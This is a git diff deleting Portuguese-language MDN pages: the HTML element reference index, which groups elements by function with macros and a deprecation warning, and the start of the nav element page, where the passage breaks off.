diff --git a/files/pt-pt/web/html/element/index.html b/files/pt-pt/web/html/element/index.html deleted file mode 100644 index fc993d2315..0000000000 --- a/files/pt-pt/web/html/element/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Referência dos elementos HTML -slug: Web/HTML/Element -tags: - - Elemento - - HTML - - I10n:priority - - Referencia - - Web - - básico -translation_of: Web/HTML/Element -original_slug: Web/HTML/Elemento ---- -
{{HTMLSidebar("Elements")}}
- -

Esta página lista todos os {{Glossary("HTML")}} {{Glossary("Element","elementos")}}. Eles são agrupados por função para ajudá-lo a encontrar facilmente o que tem em mente. Uma lista alfabética de todos os elementos é fornecida na barra lateral na página de cada elemento, bem como nesta.

- -
-

Para mais informação sobre os conceitos básicos dos elementos e atributos HTML, consulte a secção sobre elementos no artigo de Introdução ao HTML.

-
- -

Raiz principal

- -

{{HTMLRefTable("HTML Root Element")}}

- -

Metadados do documento

- -

Os metadados contêm informação acerca da página. Incluem informação sobre estilos, scripts e dados que ajudam a usar o software ({{Glossary("search engine", "motor de busca")}}, {{Glossary("Browser","Browsers")}}, etc.) e a interpretar a página. Os metadados para estilos e scripts devem ser definidos na página ou num link para um ficheiro que contém a informação.

- -

{{HTMLRefTable("HTML Document Metadata")}}

- -

Secção de raiz

- -

{{HTMLRefTable("Sectioning Root Element")}}

- -

Segmentação de conteúdo

- -

Os elementos de segmentação de conteúdo permitem-lhe organizar o documento em partes lógicas. Use os elementos de segmentação para criar um esquema vasto dos conteúdos da sua página, incluindo a navegação de cabeçalho e rodapé, e elementos de título para identificar secções de conteúdo.

- -

{{HTMLRefTable("HTML Sections")}}

- -

Conteúdo textual

- -

Use elementos textuais HTML para organizar blocos ou secções de conteúdo situados entre os elementos </body> de início {{HTMLElement("body")}} e fim. Sendo importantes para {{Glossary("accessibility")}} e {{Glossary("SEO")}}, estes elementos identificam o propósito ou estrutura desse conteúdo.

- -

{{HTMLRefTable("HTML Grouping Content")}}

- -

Semântica de texto em linha

- -

Use a semântica de texto em linha do HTML para definir o significado, estrutura ou estilo de uma palavra, linha ou texto arbitrário.

- -

{{HTMLRefTable("HTML Text-Level Semantics")}}

- -

Imagem e multimédia

- -

O HTML suporta vários recursos multimédia como imagens, áudio e vídeo.

- -

{{HTMLRefTable("multimedia")}}

- -

Conteúdo incorporado

- -

Além do conteúdo multimédia regular, o HTML poderá incluir diversos outros conteúdos, ainda que a interação com este nem sempre seja fácil.

- -

{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}

- -

Scripting

- -

De modo a criar conteúdos dinâmicos e aplicações Web, o HTML suporta o uso de linguages de script, nomeadamente JavaScript. Certos elementos suportam esta capacidade.

- -

{{HTMLRefTable("HTML Scripting")}}

- -

Edições de demarcação

- -

Estes elementos permitem-lhe dar indicações sobre que partes do texto específicas foram alteradas.

- -

{{HTMLRefTable("HTML Edits")}}

- -

Conteúdo de tabela

- -

Estes elementos são usados para criar e manipular dados tabulares.

- -

{{HTMLRefTable("HTML tabular data")}}

- -

Formulários

- -

O HTML fornece um número de elementos que podem ser usados em conjunto para criar formulários que o utilizador poderá preencher e submeter na página web ou aplicação. Existe uma considerável quantidade de informação sobre o mesmo disponível na página HTML forms guide.

- -

{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}

- -

Elementos interativos

- -

O HTML oferece uma selecção de elementos que ajudam a criar objectos interativos de interface com o utilizador.

- -

{{HTMLRefTable("elementos interativos HTML")}}

- -

Componentes da Web

- -

Os Componentes Web são uma tecnologia relacionada com o HTML que possibilitam a criação e utilização de elementos personalizados como se se tratassem de elementos HTML vulgares. Adicionalmente, poderá criar versões personalizadas de elementos HTML standard.

- -

{{HTMLRefTable({"include":["Web Components"],"exclude":["Deprecated", "Obsolete"]})}}

- -

Elementos obsoletos e desaprovados

- -
-

Aviso: Estes são elementos HTML antigos que foram desaprovados e não devem ser usados. Nunca deve usá-los em projectos novos, e deve substitui-los em antigos projectos assim que possa. Os mesmos são aqui listados apenas para informação.

-
- -

{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}

diff --git a/files/pt-pt/web/html/element/nav/index.html b/files/pt-pt/web/html/element/nav/index.html deleted file mode 100644 index a17cc914b9..0000000000 --- a/files/pt-pt/web/html/element/nav/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: